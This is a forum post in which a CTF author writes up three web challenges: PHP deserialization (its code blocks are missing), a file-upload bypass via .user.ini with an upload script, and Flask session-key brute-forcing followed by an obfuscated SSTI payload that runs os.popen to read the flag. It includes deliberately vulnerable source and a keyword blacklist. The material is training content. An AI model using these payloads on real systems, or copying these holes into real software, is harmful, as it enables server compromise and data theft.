MiniNK WEB 选拔题 by F12

打印 上一主题 下一主题

主题 1042|帖子 1042|积分 3126

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x
Start

除了梦想外一无所有的我们,将会和蔑视与困境做最后的斗争,这是最后一舞
N0wayBack 联合战队成立以来一直致力于信息安全技术的研究,作为联合战队活跃在各大 CTF (信息安全竞赛)赛事之中,并依靠着过硬的实力吸引了无数同样热爱安全的小伙伴。战队现有师傅20余名,特训学生10余名,包括了研、本科学生,企、事业单位员工以及网安实验室成员,内部氛围融洽,关系和谐。虽然我们可能身份各异、年龄跨岭,但在这里,我们只有一个身份,那就是热爱网安的CTFer
给MiniNK师傅出的web题,正好最近有点心得,又逢考试月,心情难免有点压抑,出题释放释放我的emo情绪。
ezpop

最近做反序列化的题真是有点多,每次都得坐会牢,新鲜的玩法暂时还没想到,就想着整点老玩法吧,字符逃逸,嗯,感觉有点简单了,配不上Mini师傅的身份,那浅浅加个原生类利用,就当做mini师傅的签到题了。首先先手撸php代码,过程有点曲折,直接放源码了:
  1. [/code]非常简单的一道反序列化,坏了,怎么长的像篮球杯,感觉有点疯魔了,算了,就这样吧,还是有差别的。链子很简单,B::__destruct() -> C::__toString() -> A::__call -> A::Eval,进入到Eval,我们就能利用原生类读取文件了。这里需注意的是学渣被替换成学霸导致无法进入Eval,我们可以利用十六进制来绕过这个替换,S下的内容会以十六进制的形式被识别。
  2. 链子exp如下:
  3. [code]
复制代码
不知所措

本来想出一个实战中遇见的伪静态页面注入,但实现起来有点困难,火烧眉毛了,就准备换个题型出,想了半天打算出个文件上传,但又不能过于简单,突然灵光一闪,就有了这题
  1. #index.php
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>upload</title>
  6. </head>
  7. <body>
  8. <form action="upload.php" method="post" enctype="multipart/form-data">
  9.     <label for="file">文件名:</label>
  10.     <input type="file" name="file" id="file">
  11.     <input type="submit" name="submit" value="提交">
  12. </form>
  13. </body>
  14. </html>
复制代码
  1. #upload.php
  2. <?php
  3.     highlight_file(__FILE__);
  4.     $file = $_FILES['file'];
  5.     if(!$file){
  6.         exit("请勿上传空文件");
  7.     }
  8.     $dir = "upload/";
  9.     $name = $_FILES['file']['name'];
  10.     $tmp = $_FILES['file']['tmp_name'];
  11.     $ext = substr(strrchr($name, '.'), 0);
  12.     if(preg_match('/p|h|s|[0-9]/i',$ext)){
  13.         $ext = ".jpg";
  14.         $name = time().$ext;
  15.     }
  16.     $path = $dir.$name;
  17.     move_uploaded_file($tmp, $path);
  18. ?>
复制代码
简单的做了个过滤,会将上传的文件名替换成时间戳+.jpg,但是这段代码逻辑存在些缺陷,如果我们上传.user.ini就会是原样上传,这里考查选手编写脚本爆破时间戳文件名的能力和意识到.user.ini的存在
  1. import requests
  2. import time
  3. url = "http://192.168.13.83:9999/upload.php"
  4. file = open('a.php', 'r')
  5. r = requests.post(url, files={"file": file})
  6. print(str(time.time())[:10])
复制代码
非常的简单,这里时间戳跟上传的居然完全一样,难度再度下降,早知道设置个sleep了
无中生有

江郎才尽了,没有一丝丝灵感。突然想到一个考点见的很少,flask seesion,大家都熟透了,大部分似乎都是找app.secret ,很少见到来爆破secret的,嗯,想想就一阵激动。这里就不得不提一个工具: flask-unsign, 这个被打包成了pip,安装直接pip install flask-unsign ,完全可以当作flask-session-manager的替代品。爆破命令:
  1. flask-unsign --unsign --cookie="Your_session"
复制代码
爆出key: root,题目流程很简单,伪造session成admin后我们就能使用ssti这个点了,ssti当然差不多拉到最高level的过滤了,老生常谈,也是考一个比较偏僻的特性
'%c%c%c%c········'|format(99,99,99,98·······)
很明显,format(99)后的字符填充到%c处,这样可以绕过大部分对于关键字的过滤了。过滤了. 用attr来拼接,究极payload就是:
  1. {%print%09config|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))|attr('%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('o'%2b's')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('cat%09/f*')|attr('%c%c%c%c'|format(114,101,97,100))()%}
复制代码
利用的类很多,并不局限于我这一种。这里是题目源码,写的很草率,师傅们轻喷:
  1. #app.py
  2. from flask import Flask, request, render_template, session, render_template_string
  3. app = Flask(__name__)
  4. app.secret_key = "root"
  5. @app.route('/')
  6. def index():
  7.     session['username'] = 'guest'
  8.     return render_template_string('')
  9. @app.route('/hello', methods=['GET'])
  10. def hello():
  11.     name = request.args.get('name')
  12.     black_list = ['"', '__', ' ', '.', 'chr', '[', '{{', '}}', ']', 'os', 'popen', 'class', 'subclass', '\\x', 'import', 'lipsum', 'globals', 'init']
  13.     if name:
  14.         for i in black_list:
  15.             if i in name:
  16.                 return render_template_string('')
  17.         if session.get('username') == 'admin':
  18.             context = render_template('templates.html')
  19.             context = context.format(name)
  20.             return render_template_string(context)
  21.         else:
  22.             return "只有admin才有资格使用这个功能哦"
  23.     else:
  24.         return render_template_string('<h1>Hello 旅行者</h1>')
  25. if __name__ == '__main__':
  26.     app.run(host="0.0.0.0")
复制代码
  1. <!DOCTYPE html>
  2. <html lang="en">
  3. <head>
  4.     <meta charset="UTF-8">
  5.     <title>HELLO</title>
  6. </head>
  7. <body>
  8. Hello {}
  9. </body>
  10. </html>
复制代码
  1. #Dockerfile
  2. # 基于的基础镜像,这里使用python,开发版本是 3.9.2 ,基础镜像也写3.9.2
  3. FROM python:3.9.2
  4. # /app 是要部署到服务器上的路径
  5. WORKDIR /app
  6. # Docker 避免每次更新代码后都重新安装依赖,先将依赖文件拷贝到项目中
  7. COPY requirements.txt requirements.txt
  8. # 执行指令,安装依赖
  9. RUN pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
  10. # COPY指令和ADD指令功能和使用方式类似。只是COPY指令不会做自动解压工作。
  11. # 拷贝项目文件和代码
  12. COPY . .
  13. # 执行指令,字符串间是以空格间隔
  14. CMD ["gunicorn", "app:app", "-c", "./gunicorn.conf.py"]
复制代码
requirements.txt
  1. gunicorn
  2. gevent
  3. flask
复制代码
  1. #gunicorn.conf.py
  2. workers = 5    # 定义同时开启的处理请求的进程数量,根据网站流量适当调整
  3. worker_class = "gevent"   # 采用gevent库,支持异步处理请求,提高吞吐量
  4. bind = "0.0.0.0:80" #设置端口80,这里注意要设置成0.0.0.0,如果设置为127.0.0.1的话就只能本地访问服务了
复制代码
End

祝师傅们玩的开心

We are still on the way, welcome to join us!
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

我可以不吃啊

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表